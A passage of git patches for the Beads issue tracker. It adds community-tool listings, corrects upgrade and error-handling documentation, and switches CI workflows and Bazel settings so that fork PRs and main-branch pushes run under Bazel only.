1aa2b645e240378e8b5a103f53a90e7563996265) * docs(community-tools): update the beads-web entry Co-Authored-By: Claude Opus 5.5 (cherry picked from commit aa177110b326ccebb8e725aa12ce1a72b3ca3ae0) * docs(community-tools): mention the beads-web tree view Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QebAVaD36wUemAsdBx8wwJ (cherry picked from commit e0eb482a11f461e3bfa46b2c23de1c97d3055dce) * Updated community tools documentation with Beads Tracker Applied changes from BB to 1 file Files modified: - docs/community-tools.md Updated community tools documentation Applied changes from BB to 1 file Files modified: - docs/community-tools.md Updated community tools documentation Applied changes from BB to 1 file Files modified: - docs/community-tools.md (cherry picked from commit 75d0f8de0c2a3181d618ade902c73d929d8be221) * docs: add b9s to community tools (TUI and web UI) (cherry picked from commit 8bb6ab6913d9b29d2cd29a8871ec3d2e1881ce5f) * docs: add btui to community tools (btui-bb2) Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Andreas Dellrud (cherry picked from commit 81da372c63cbbf60995d3865d9077a4a76d76eb3) * docs: mention released btui Beads 1.3 support (btui-0fm) Agent-Signature: codex-unknown-model-unknown-reasoning on behalf of Andreas Dellrud (cherry picked from commit 8f27445bee87eb9d17f15f04179ced18f3bd69c0) * docs: add beadside to community tools (cherry picked from commit 2c2cb1fd5c895e3a8733ec8c8762564c8521ab5e) * docs: add Beads for Obsidian to community tools (cherry picked from commit cb82d067d83c9387dcd2e5279c73030969090a5f) --------- Co-authored-by: cuongntr Co-authored-by: Claude Opus 5.5 Co-authored-by: Leslie Russell Co-authored-by: weselow <598746@gmail.com> Co-authored-by: Beyond Better Co-authored-by: vanderheijden86 Co-authored-by: Andreas Dellrud Co-authored-by: michal.psencik Co-authored-by: Rome-1 --- docs/community-tools.md | 18 +++++++++++++++++- docs/getting-started/upgrading.md | 19 ++++++++++++------- 2 files changed, 29 insertions(+), 8 deletions(-) diff --git a/docs/community-tools.md b/docs/community-tools.md index 13ee5b828..6b4477e7f 100644 --- a/docs/community-tools.md +++ b/docs/community-tools.md @@ -18,6 +18,12 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[beady-eye](https://github.com/CodeForBreakfast/beady-eye)** - Live terminal viewer that follows agents as they work through a tree of beads, redrawing as they claim and finish them. Integrates with [herdr](https://herdr.dev), and watches several projects at once. Read-only. Built by [@GraemeF](https://github.com/GraemeF). (Rust) +- **[LazyBeads](https://github.com/lesliesrussell/lazybeads)** (`lb`) - Terminal operator console that ranks ready work, explains why each bead is ready, and claims, closes and links beads with confirmation. The TUI and `lb status --watch` follow the events journal and redraw as agents change beads; on Dolt-server workspaces it uses `bd serve`, and the `bd` CLI otherwise. Not related to the earlier lazybeads listed under Historical. Built by [@lesliesrussell](https://github.com/lesliesrussell). (Go) + +- **[b9s](https://github.com/vanderheijden86/b9s)** - Keyboard-driven terminal UI for Beads, modelled on k9s: issue tree, a list of the latest changes, and a kanban board with epic swimlanes, all updating live as you and your agents work. The same app runs in a desktop or phone browser with full feature parity (see Web UIs). Live demo at [demo.b9s.osen.co](https://demo.b9s.osen.co). Built by [@vanderheijden86](https://github.com/vanderheijden86). (Go) + +- **[btui](https://github.com/AndreasDellrud/beads-tui)** - Read-only terminal browser with active, ready, and closed views, filtering, keyboard and mouse navigation, and issue details with comments and dependency relationships. Launches Codex or Claude Code sessions for selected work, with optional [Herdr](https://herdr.dev) worktree integration. Reads through the installed `bd --readonly` CLI. Supports Beads 1.3.0 with optional event-triggered refresh, retaining polling fallback for older versions and unjournaled changes. Built by [@AndreasDellrud](https://github.com/AndreasDellrud). (Rust/Ratatui) + ## Web UIs - **[bd-board](https://github.com/jeanpfs/bd-board)** - Local-first web dashboard for browsing Beads projects, viewing kanban boards by status or epic swimlanes, and filtering by priority, text search, or sort order. Uses the `bd` CLI for Dolt compatibility, with writes disabled unless explicitly enabled. Built by [@jeanpfs](https://github.com/jeanpfs). (TanStack Start/React) @@ -26,7 +32,7 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[BeadBoard](https://github.com/zenchantlive/beadboard)** - Multi-agent orchestration and communication system with a live dashboard. Agent-to-agent messaging (HANDOFF/BLOCKED/DECISION/INFO), DAG dependency graph, swarm coordination with archetypes and templates, scope-based work reservations, and an embedded execution runtime (bb-pi) built on [Pi](https://github.com/badlogic/pi-mono) that spawns typed worker agents. Cross-platform (macOS, Linux, Windows). Includes the `beadboard-driver` skill for agent integration (`npx skills add zenchantlive/beadboard --skill beadboard-driver`). Built by [@zenchantlive](https://github.com/zenchantlive). (Next.js/TypeScript) -- **[beads-web](https://github.com/weselow/beads-web)** - Actively maintained fork of beads-kanban-ui. Cross-platform single-binary distribution (macOS, Linux, Windows), 7 visual themes, Dolt direct SQL integration, Windows multi-drive path support, drag-and-drop status updates. Download from [GitHub Releases](https://github.com/weselow/beads-web/releases). Built by [@weselow](https://github.com/weselow). (TypeScript/Rust) +- **[beads-web](https://github.com/weselow/beads-web)** - Actively maintained fork of beads-kanban-ui. Multi-project Kanban board plus a tree view of milestones, epics, tasks and subtasks at any depth, 11 themes. Live updates follow the `bd events` journal on embedded workspaces (bd 1.3.0+); server-mode workspaces are read directly from Dolt over SQL. Single binary for macOS, Linux and Windows, also via Scoop, Homebrew, winget and Nix. Download from [GitHub Releases](https://github.com/weselow/beads-web/releases). Built by [@weselow](https://github.com/weselow). (TypeScript/Rust) - **[Bead Me Up, Scotty](https://github.com/brendan-appstart/bead-me-up-scotty)** - Polished multi-project web UI for creating, updating, and prioritizing beads across all your repos from one place. Kanban board with drag-and-drop status changes and reordering, plus list, epics (with progress bars), and dependency-graph views; faceted filtering and full-text search; live updates via SSE that react the moment `.beads/` changes; and human-vs-agent attribution throughout. Uses the `bd` CLI for full Dolt compatibility. Global install (`scotty`) opens the current directory's project in your browser, and a built-in Publish view generates a shareable static showcase site from your beads. Live demo at [beadmeupscotty.com](https://beadmeupscotty.com). Built by [@brendan-appstart](https://github.com/brendan-appstart). (Next.js/TypeScript) @@ -34,6 +40,10 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[beadcyte](https://gitlab.com/incytestudios/beadcyte)** - Local web app that draws two things that look alike and are not: what happened, which is measured, and what it expects to happen, which is a model's opinion. Three models drive the projection — a historical-median duration estimator, a greedy WIP-cap scheduler calibrated against your real throughput, and an eight-signal triage score — each shown with its own uncertainty rather than a flat number. Views for what to do next, the team's frontier, what-if plan diffs, and cost per week; a single self-contained SVG export with no server (`beadcyte --out gantt.svg`); and a changelog generated from closed beads that carry ship evidence. Reads and writes through the `bd` CLI (`bd list --all --json`, `bd show`, `bd history`); `beadcyte freeze` additionally reads the embedded Dolt database directly (read-only, opt out with `--no-dolt`) — never `.beads/issues.jsonl`. Run with `npx beadcyte start`. Built by [Incyte Studios](https://incytestudios.com) ([@treystout](https://github.com/treystout)). (Node.js/Vue) +- **[b9s web](https://github.com/vanderheijden86/b9s)** - The b9s terminal UI (see Terminal UIs) in your browser, with full feature parity: tree, kanban board, search and editing, all updating live. Responsive from a phone screen to a wide desktop board with drag-and-drop. Live demo at [demo.b9s.osen.co](https://demo.b9s.osen.co). Built by [@vanderheijden86](https://github.com/vanderheijden86). (Go) + +- **[beadside](https://github.com/thatmike1/beadside)** - Local web reader and inbox between you and your agents. A dense index groups beads into lanes by your own labels, with a waiting-on-you section first, and the selected bead stays open beside it with its description, notes and comment thread rendered as Markdown. Notes you write land as comments under your own author id and can flag the bead so the next agent session reads them first. Live updates follow `bd events tail --follow` when the events journal is on, with polling as the fallback. Full-text search over ids, titles, descriptions, notes and comments, also available to agents as `beadside search --json`. Uses the `bd` CLI for every read and write. Built by [@thatmike1](https://github.com/thatmike1). (TypeScript/React) + ## Editor Extensions - **[vscode-beads](https://marketplace.visualstudio.com/items?itemName=planet57.vscode-beads)** - VS Code extension with issues panel and server management. Built by [@jdillon](https://github.com/jdillon). (TypeScript) @@ -49,6 +59,10 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[beads-manager](https://plugins.jetbrains.com/plugin/30089-beads-manager)** - Jetbrains IDE plugin to manage and view bead details. Maintained by [@developmeh](https://github.com/developmeh). (Kotlin) +- **[beads-viewer](https://github.com/cuongntr/paseo-beads-viewer)** - Read-only Beads console for [Paseo](https://paseo.sh) workspaces: progress per parent issue, ready and waiting work, the critical dependency chain, a whole-project board, issue search and detail, and a composer attachment source for issues. Follows `bd` changes live through the events journal when it is turned on. Reads through `bv` and the `bd`/`br` CLI, never writes. Install with `paseo plugin install beads-viewer`. Built by [@cuongntr](https://github.com/cuongntr). (TypeScript/React Native) + +- **[Beads for Obsidian](https://github.com/Rome-1/obsidian-beads)** - Obsidian plugin with a tabbed Ready / In progress / Blocked / Closed pane, beads that open and save like notes, and live `beads` query blocks inside any note. With the 1.3 events journal on, it follows `bd events tail` and updates the moment a bead changes; it asks before turning the journal on, and otherwise polls. Reads and writes only through the `bd` CLI. Built by [@Rome-1](https://github.com/Rome-1). (TypeScript) + ## Native Apps - **[Beads Task-Issue Tracker](https://github.com/w3dev33/beads-task-issue-tracker)** - Cross-platform desktop application (macOS, Windows, Linux) for browsing, creating, and managing Beads issues with a visual interface. Features multi-project support with favorites, image attachments, dashboard with statistics, advanced filtering, and dark/light theme. Built by [@w3dev33](https://github.com/w3dev33). (Tauri/Vue) @@ -59,6 +73,8 @@ A curated list of community-built UIs, extensions, and integrations for Beads. R - **[Beadazzle](https://github.com/Mosnar/beadazzle)** - Fully native, fully open-source macOS app (SwiftUI, macOS 14+) for browsing and managing Beads issues, tuned for large embedded-mode projects. Unlike the Tauri-based clients, it's built directly on SwiftUI/AppKit for a fast, dense, Linear-inspired desktop UI. Features a sidebar/list/detail layout with outline mode, search, filtering, sorting, and multi-selection; full detail editing with rich Markdown editing and live preview (title, description, design, acceptance criteria, notes, labels, status, priority, assignee, dates); a dedicated gate queue with approve/reject and gate-aware blockers; parent/sub-issue hierarchies with breadcrumbs and inline child creation; fast dependency pickers with quick-create; and a project storage view for Dolt remote health, explicit pull/push, and snapshot freshness. Requires a current Dolt-backed project in embedded, server, or shared-server mode, resolved through `bd context` — legacy SQLite-backed projects are intentionally unsupported. Reads by asking `bd export` for a readable JSONL snapshot in the tracker directory `bd` reports — creating one if none exists, and re-exporting after mutations and manual refreshes — then indexes it in memory for responsive navigation; all writes route through `bd` to preserve Beads hooks, history, and validation. Zero telemetry, analytics, or crash reporting — everything stays local on your machine. Ships as a signed and notarized DMG with Sparkle auto-updates. Built by [@Mosnar](https://github.com/Mosnar). (Native macOS/SwiftUI) +- **[Beads Tracker](https://github.com/cngarrison/beads-tracker)** - Native macOS app (SwiftUI), multi-window with one project per window, for creating and browsing Beads issues without touching the CLI. A create form mirrors `bd create-form` (title, description, type, priority, assignee, labels, external reference, design notes, acceptance criteria, dependencies), plus a live issues list with status indicators, priority badges, and one-click ID copying. Works with both embedded and server-mode Dolt projects. Persistent repo selection across launches. Built and released via GitHub Actions as a signed and notarized DMG — download, mount, drag to Applications, and run, with no Gatekeeper warnings. Deliberately minimal by design — no Xcode project, Swift Package Manager manifest, or third-party dependencies, just a single `swiftc` invocation in the `Makefile` — keeping the codebase small enough for an AI coding agent to pick up and ship a contribution without first onboarding onto a large project. Built by [@cngarrison](https://github.com/cngarrison). (Swift/SwiftUI) + ## Data Source Middleware - **[stringer](https://github.com/davetashner/stringer)** - Codebase archaeology CLI that mines git repos for TODOs, churn hotspots, lottery-risk files, dependency health, and more. Outputs JSONL compatible with `bd init --from-jsonl`. Install with `brew install davetashner/tap/stringer`. Built by [@davetashner](https://github.com/davetashner). (Go) diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index 649383129..daa058bed 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -443,8 +443,9 @@ configured, though the two cases consent differently Upgrade one server's clients like this: ```bash -# 1. Upgrade bd on every client of the server. Until step 2, an upgraded -# client refuses writes and most reads fail (see below). +# 1. Upgrade bd on every client of the server. Reads keep working throughout — +# an upgraded client reads the old schema, it just cannot write to it +# (unless the server predates 1.2.0; see below). bd version # on each client, confirm the new version # 2. Once, from a workspace already set up against this server: consent. @@ -454,11 +455,15 @@ bd migrate schema # add --global for the shared global database bd doctor ``` -Between steps 1 and 2, an upgraded client refuses writes with the gate's -guidance, and most reads fail too: `bd list`, `bd show` and `bd ready` stop -with `table not found: leases`, because 1.3 reads expect tables the old schema -lacks. Nothing is silently promoted, so there is no deadline, but nothing works -in that window either, so run step 2 as soon as the clients are upgraded. +Between steps 1 and 2, an upgraded client reads normally and its writes are +refused with the gate's guidance. Nothing is silently promoted, so there is no +deadline — but the window is a degraded one, so keep it short. + +If the server's schema predates 1.2.0 (an upgrade from 1.1.x or earlier), +reads can fail too until step 2: `bd list` stops with +`table not found: leases` +([#6929](https://github.com/gastownhall/beads/issues/6929)). Run step 2 as +soon as the clients are upgraded. **If the shared server also has a Dolt remote**, step 2 is not enough. Two hazards now apply at once — the co-resident lockout above and the cross-clone From c33d30aa1019032c8fdac461eeddd28c723413d4 Mon Sep 17 00:00:00 2001 From: Chris Sells Date: Tue, 6 Oct 2026 11:42:52 -0700 Subject: [PATCH 116/325] docs(upgrading): key the shared-server read failure to schema v53, not release 1.2.0 (#7310) #7301 scoped the pre-migration read failure on a shared server to schemas that "predate 1.2.0". That misses 1.2.2, the recovery re-release of the 1.1 line: its migrations stop at 0053 with no lease migrations, so a 1.2.2 server sits at v53 like 1.1.x. Upgrading such a server's clients to 1.3.1 without `bd migrate schema` makes `bd list`, `bd show` and `bd ready` fail with `table not found: leases`. Key the caveat to schema v53 or older, naming 1.1.x and 1.2.2, which matches the section's own "A 1.2.2 or 1.1.x database sits at schema v53". Refs #6929, #7284, #7301 --- docs/getting-started/upgrading.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/getting-started/upgrading.md b/docs/getting-started/upgrading.md index daa058bed..da9c5330e 100644 --- a/docs/getting-started/upgrading.md +++ b/docs/getting-started/upgrading.md @@ -445,7 +445,7 @@ Upgrade one server's clients like this: ```bash # 1. Upgrade bd on every client of the server. Reads keep working throughout — # an upgraded client reads the old schema, it just cannot write to it -# (unless the server predates 1.2.0; see below). +# (unless the server's schema is v53 or older; see below). bd version # on each client, confirm the new version # 2. Once, from a workspace already set up against this server: consent. @@ -459,8 +459,8 @@ Between steps 1 and 2, an upgraded client reads normally and its writes are refused with the gate's guidance. Nothing is silently promoted, so there is no deadline — but the window is a degraded one, so keep it short. -If the server's schema predates 1.2.0 (an upgrade from 1.1.x or earlier), -reads can fail too until step 2: `bd list` stops with +If the server's schema is v53 or older (1.1.x, or 1.2.2, the re-release of +the 1.1 line), reads can fail too until step 2: `bd list` stops with `table not found: leases` ([#6929](https://github.com/gastownhall/beads/issues/6929)). Run step 2 as soon as the clients are upgraded. From 800d43eb8d6eaf372347fbbdda9c4c366c2b6c94 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 12:46:26 -0700 Subject: [PATCH 117/325] docs(engdocs): re-review ERROR_HANDLING.md against cmd/bd and refresh its marker (#7267) The Last reviewed marker (2026-07-07) passed the 90-day limit in scripts/check-doc-freshness.sh at 2026-10-06 00:00 UTC, so the required "Check doc flags freshness" job fails on every PR and merge-group run (#7266). Re-reviewed against cmd/bd at e72cd8b31 and corrected what had drifted: - createConfigYaml takes three arguments. - cmd/bd/sync.go has no warning or ignored-error sites any more; its citations are gone. Line-number citations into init.go and create.go no longer matched and are replaced by search strings. - internal/syncbranch was removed with the sync-branch pipeline; the syncbranch.Set example and the sync.branch bullet are gone. - No code writes last_import_hash; the tracking-metadata examples now show the bd_version write (SetLocalMetadata) and verifyMetadata as init.go has them. - CheckReadonly also exits ExitMigrationFrozen under a migration freeze. - HandleProxyCapabilityError is added to the helper list. Fixes #7266 Co-authored-by: Claude Fable 5.1 --- engdocs/ERROR_HANDLING.md | 56 +++++++++++++++++---------------------- 1 file changed, 25 insertions(+), 31 deletions(-) diff --git a/engdocs/ERROR_HANDLING.md b/engdocs/ERROR_HANDLING.md index e394c8c02..37ebbaccd 100644 --- a/engdocs/ERROR_HANDLING.md +++ b/engdocs/ERROR_HANDLING.md @@ -1,6 +1,6 @@ # Error Handling Guidelines -Last reviewed: 2026-07-07 +Last reviewed: 2026-10-05 Freshness source: `cmd/bd/*.go`, especially command error exits and JSON error helpers in `cmd/bd/errors.go`. @@ -47,7 +47,8 @@ every `defer`), and `main()` maps the sentinel to exit code 1. **Narrow exceptions still using `os.Exit`:** process-level gates that run before or outside the `RunE` error path — e.g. `CheckReadonly`, which aborts a blocked -command after flushing metrics first. A handful of pre-existing direct +command after flushing metrics first (exit 1 in read-only mode, +`ExitMigrationFrozen` under a migration freeze). A handful of pre-existing direct `os.Exit(1)` calls also remain inside handler bodies; new command code should return a `HandleError*` value instead of adding more. @@ -67,7 +68,7 @@ return a `HandleError*` value instead of adding more. **Example:** ```go -if err := createConfigYaml(beadsDir, false); err != nil { +if err := createConfigYaml(beadsDir, false, ""); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to create config.yaml: %v\n", err) // Non-fatal - continue anyway } @@ -80,10 +81,9 @@ if err := createConfigYaml(beadsDir, false); err != nil { - Core functionality still works **Files using this pattern:** -- `cmd/bd/init.go` (lines 155-157, 161-163, 167-169, 188-190, 236-238, 272-274, etc.) -- `cmd/bd/sync.go` (lines 156, 257, 281, 329, 335, 720-722, 740, 743, 752, 762) -- `cmd/bd/create.go` (lines 333-334, 340-341) -- `cmd/bd/sync.go` *(handles Dolt sync operations)* +- `cmd/bd/init.go` — search for `"Warning: failed` (config.yaml, `.gitignore`, + git exclude, and tracking-metadata writes) +- `cmd/bd/create.go`, `cmd/bd/gc.go` — search for `WarnError(` --- @@ -107,9 +107,7 @@ _ = os.Remove(tempPath) - Primary error already reported **Files using this pattern:** -- `cmd/bd/init.go` (line 209, 326-327) -- `cmd/bd/sync.go` (lines 696-698) -- `cmd/bd/sync.go` *(sync cleanup)* +- `cmd/bd/init.go` — search for `_ = store.Close()` - Dozens of other locations throughout the codebase --- @@ -166,7 +164,7 @@ if err != nil { ### Creating Auxiliary Config Files → Pattern B (Warn) ```go -if err := createConfigYaml(localBeadsDir, false); err != nil { +if err := createConfigYaml(localBeadsDir, false, ""); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to create config.yaml: %v\n", err) // Non-fatal - continue anyway } @@ -186,8 +184,8 @@ defer func() { ### Optional Metadata Updates → Pattern B (Warn) ```go -if err := store.SetMetadata(ctx, "last_import_hash", currentHash); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to update last_import_hash: %v\n", err) +if err := store.SetLocalMetadata(ctx, "bd_version", Version); err != nil { + fmt.Fprintf(os.Stderr, "Warning: failed to write bd_version local metadata: %v\n", err) } ``` @@ -205,7 +203,7 @@ if err := store.CreateIssue(ctx, issue, actor); err != nil { ```go // BAD: Same type of operation handled differently -if err := createConfigYaml(dir, false); err != nil { +if err := createConfigYaml(dir, false, ""); err != nil { fmt.Fprintf(os.Stderr, "Warning: %v\n", err) // Warns } if err := createReadme(dir); err != nil { @@ -216,7 +214,7 @@ if err := createReadme(dir); err != nil { ```go // GOOD: Consistent pattern for similar operations -if err := createConfigYaml(dir, false); err != nil { +if err := createConfigYaml(dir, false, ""); err != nil { fmt.Fprintf(os.Stderr, "Warning: failed to create config.yaml: %v\n", err) } if err := createReadme(dir); err != nil { @@ -285,15 +283,10 @@ defer store.Close() if err := store.SetConfig(ctx, "issue_prefix", prefix); err != nil { return HandleError("failed to set issue prefix: %v", err) } - -if err := syncbranch.Set(ctx, store, branch); err != nil { - return HandleError("failed to set sync branch: %v", err) -} ``` **Examples:** - `issue_prefix` - Defines how all issue IDs are generated -- `sync.branch` - Critical for git synchronization workflow **Rationale:** These settings are prerequisites for basic operation. Without them, the system cannot function correctly. A failure here indicates a serious problem (e.g., filesystem issues, database corruption). @@ -303,28 +296,25 @@ Tracking metadata **enhances functionality** but the system works without it: ```go // Pattern B: Warn and continue -if err := store.SetMetadata(ctx, "bd_version", Version); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to store version metadata: %v\n", err) +// bd_version is clone-local state, so it goes through SetLocalMetadata. +if err := store.SetLocalMetadata(ctx, "bd_version", Version); err != nil { + fmt.Fprintf(os.Stderr, "Warning: failed to write bd_version local metadata: %v\n", err) // Non-fatal - continue anyway } -if err := store.SetMetadata(ctx, "repo_id", repoID); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to set repo_id: %v\n", err) -} - -if err := store.SetMetadata(ctx, "last_import_hash", hash); err != nil { - fmt.Fprintf(os.Stderr, "Warning: failed to update last_import_hash: %v\n", err) +// verifyMetadata writes the field, reads it back, and warns on failure. +if verifyMetadata(ctx, store, "repo_id", repoID) && !quiet { + fmt.Printf(" Repository ID: %s\n", repoID[:8]) } ``` **Examples:** - `bd_version` - Enables version mismatch warnings on upgrades - `repo_id` / `clone_id` - Helps with collision detection across clones -- `last_import_hash` - Optimizes staleness detection (falls back to mtime if unavailable) **Rationale:** System degrades gracefully if tracking metadata is unavailable. Core functionality (creating issues, importing data) still works. Failures here might indicate temporary issues (e.g., read-only filesystem) that shouldn't block the entire operation. -**See also:** `cmd/bd/init.go` lines 206-272 for detailed inline documentation of this distinction. +**See also:** the `CONFIGURATION METADATA` and `TRACKING METADATA` comment blocks in `cmd/bd/init.go` for inline documentation of this distinction. ### File Permission Errors @@ -378,6 +368,11 @@ func HandleErrorWithHintRespectJSON(message, hint string) error // Exit 1 with no message, when the error was already reported func SilentExit() error +// Proxied-server capability refusals: a nil error passes through as nil, a +// *ProxyCapabilityError is rendered (JSON-aware) with its own exit code, and +// any other error falls back to HandleErrorRespectJSON +func HandleProxyCapabilityError(err error) error + // Pattern B — prints "Warning: ..." to stderr and returns nothing func WarnError(format string, args ...interface{}) ``` @@ -393,4 +388,3 @@ func WarnError(format string, args ...interface{}) - `cmd/bd/errors.go` - The `HandleError*` / `WarnError` / `SilentExit` helpers and the `exitError` sentinel that `main()` maps to an exit code - `cmd/bd/defer.go` - Clean example of Pattern A: `return HandleError(...)` from a `RunE` with `SilenceUsage`/`SilenceErrors` set - `cmd/bd/init.go` - Examples of all three patterns -- `cmd/bd/sync.go` - Examples of Pattern B for metadata operations and Pattern C for cleanup operations From 68d8cf99c0c487a21b1cce39e5818310d6fce486 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 20:51:59 +0000 Subject: [PATCH 118/325] ci(bazel): cover fork and Dependabot PRs with the Bazel lanes (BAZEL_COVERS_FORKS=true) (#7315) Fork and Dependabot PRs ran both stacks: the legacy embedded, proxied, server-storage and PR-lane tiers plus the Bazel lanes, which rbe-fork has executed remotely (fork-ro/fork-rw) since the canary ended. Flip the committed flag in pr.yml and pr-risk.yml so bazel-coverage retires those tiers for forks too. A covered run the mint does not serve (mode cache) already turns CI Gate / Required red with a re-run message; it never falls back silently. Refs ga-96smfk.15 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr-risk.yml | 12 ++++++++---- .github/workflows/pr.yml | 12 ++++++++---- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 3 ++- 3 files changed, 18 insertions(+), 9 deletions(-) diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index 516e8508a..a8c56606e 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -42,10 +42,14 @@ env: # flags above then retire their legacy tiers too): rbe-west's mint # (rbe-fork) gives their Bazel lanes remote execution, instance oss-fork # or, for allowlisted authors, oss, and a run the mint does not serve - # (mode cache) is red. "false": they keep the legacy tiers, and the Bazel - # lanes run remotely beside them whenever rbe-fork is open (bazel.yml - # modes fork-ro/fork-rw), else locally with the read-only cache as before. - BAZEL_COVERS_FORKS: "false" + # (mode cache) is red, never a silent fall back to the legacy tiers. + # "false": they keep the legacy tiers, and the Bazel lanes run remotely + # beside them whenever rbe-fork is open (bazel.yml modes + # fork-ro/fork-rw), else locally with the read-only cache as before. + # "true" since ga-96smfk.15: after the canary every fork and Dependabot + # run took fork-ro/fork-rw (none fell to cache). Rollback if the mint + # becomes unreliable: commit "false" in both workflows. + BAZEL_COVERS_FORKS: "true" jobs: detect-ci-tier: diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 4adf3084c..1a1fda034 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -55,10 +55,14 @@ env: # flags above then retire their legacy tiers too): rbe-west's mint # (rbe-fork) gives their Bazel lanes remote execution, instance oss-fork # or, for allowlisted authors, oss, and a run the mint does not serve - # (mode cache) is red. "false": they keep the legacy tiers, and the Bazel - # lanes run remotely beside them whenever rbe-fork is open (bazel.yml - # modes fork-ro/fork-rw), else locally with the read-only cache as before. - BAZEL_COVERS_FORKS: "false" + # (mode cache) is red, never a silent fall back to the legacy tiers. + # "false": they keep the legacy tiers, and the Bazel lanes run remotely + # beside them whenever rbe-fork is open (bazel.yml modes + # fork-ro/fork-rw), else locally with the read-only cache as before. + # "true" since ga-96smfk.15: after the canary every fork and Dependabot + # run took fork-ro/fork-rw (none fell to cache). Rollback if the mint + # becomes unreliable: commit "false" in both workflows. + BAZEL_COVERS_FORKS: "true" # bazel.yml's bazel-cmd-dolt lane (the cmd/bd Dolt-server tier: the # Dolt-gated cmd/bd tests no other lane runs) is advisory while this is # "false": it runs and reports in the bazel call (continue-on-error, so a diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 51bd82a8c..57102cc1f 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -998,7 +998,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and policy-tested) is `"true"`: their lanes then run remotely through rbe-fork (modes `fork-ro`/`fork-rw`), and a run rbe-fork does not serve (mode `cache`) turns `CI Gate / Required` red rather than falling back. - It ships `"false"`. + It is `"true"` (ga-96smfk.15): fork and Dependabot PRs run only the Bazel + lanes for the retired tiers. - Everyone else keeps the legacy tiers unchanged: - fork PRs, while `BAZEL_COVERS_FORKS` is `"false"` (their Bazel lanes run beside the legacy tiers: remotely while rbe-fork is open, else in From 9f60d71dae019310898a352b380b309551cf06cc Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 20:52:01 +0000 Subject: [PATCH 119/325] ci(main): push to main runs the Linux test tiers under Bazel only (#7316) bazel.yml already runs on every push to main and executes the PR Core, pure-Go, dolt-server, embedded, proxied, server-storage, integration and cmd/bd Dolt-server tiers on rbe-west in about five minutes. main.yml re-ran the same tiers as legacy go test jobs (62 jobs, about 380 runner-minutes a push), and its runs were all failing or cancelled. Remove the duplicated Linux jobs: the ubuntu -race -short leg with its Codecov upload, PR Core, the pure-Go compile check, domain+uow, the 6+8 integration shards, the 15 proxied shards, and the embedded build plus its storage, conformance and cmd shards. The macOS -race -short suite (rbe-west has no macOS workers) moves to Blacksmith macOS and restores the macOS saver's caches. The cache savers that fed the fork path from the removed jobs move to venue matrices: the macOS saver gains a GitHub-hosted leg, and the Linux saver gains a GitHub-hosted race leg (the embedded build used to seed it). Refs ga-96smfk.14 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 14 +- .github/workflows/main.yml | 855 ++-------------------- cmd/bd/BUILD.bazel | 12 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 17 +- internal/storage/dolt/BUILD.bazel | 2 +- internal/storage/embeddeddolt/BUILD.bazel | 4 +- scripts/bazel_policy_test.go | 32 +- scripts/ci/pr-core.sh | 3 +- scripts/ci/warm-non-race-cache.sh | 7 +- scripts/ci_f7b_review_test.go | 41 +- scripts/ci_workflow_test.go | 238 ++---- scripts/pull_dolt_image_test.go | 1 - 12 files changed, 217 insertions(+), 1009 deletions(-) diff --git a/.bazelrc b/.bazelrc index cc5f4c8c6..34695267f 100644 --- a/.bazelrc +++ b/.bazelrc @@ -139,10 +139,8 @@ test:doltserver --remote_download_regex=.*/test\.(log|xml)$ # ~4 cores, do not fit regardless of any single shard's wall time; bazel.yml # runs this one only with remote execution, in a job of its own # (bazel-proxied). The build is -# --config=doltserver's: race, like PR Risk's /tmp/bd-cmd-test (main.yml's -# twin job runs build-artifacts' non-race bd-cmd-test, so this is the -# stricter of the two); the subprocess bd is the non-race bd_for_tests, like -# the jobs'. Each shard runs its job's +# --config=doltserver's: race, like PR Risk's /tmp/bd-cmd-test; the +# subprocess bd is the non-race bd_for_tests, like the jobs'. Each shard runs its job's # shard script, whose -test.timeout=15m is past "long": the target is # eternal, which rbe-west caps at 1200s. test:doltserver-proxied --@rules_go//go/config:race @@ -204,7 +202,7 @@ test:doltserver-integration --experimental_remote_cache_eviction_retries=0 # tag), the whole integration-tagged cmd/bd suite against a hermetic dolt # sql-server, i.e. the Dolt-gated cmd/bd tests every other lane skips # (BEADS_TEST_SKIP=dolt in --config=prcore/ci and --config=integration, and -# in main.yml's and nightly.yml's go test jobs). The build flags are exactly +# in nightly.yml's go test job). The build flags are exactly # --config=integration's, so it compiles nothing bazel-integration does not # (shared through the remote cache). bazel.yml runs it where it runs the # integration lane (remote, or with the read-only cache in mode cache), in a @@ -228,9 +226,9 @@ test:doltserver-cmd --test_env=GO_TEST_WRAP_TESTV=1 test:doltserver-cmd --local_test_jobs=4 test:doltserver-cmd --remote_download_regex=.*/test\.(log|xml)$ -# Integration lane: main.yml's "Main Linux integration packages (N/6)" and -# "Main Linux integration cmd/bd (N/8)" jobs (and nightly.yml's Full Test -# Suite, which runs the 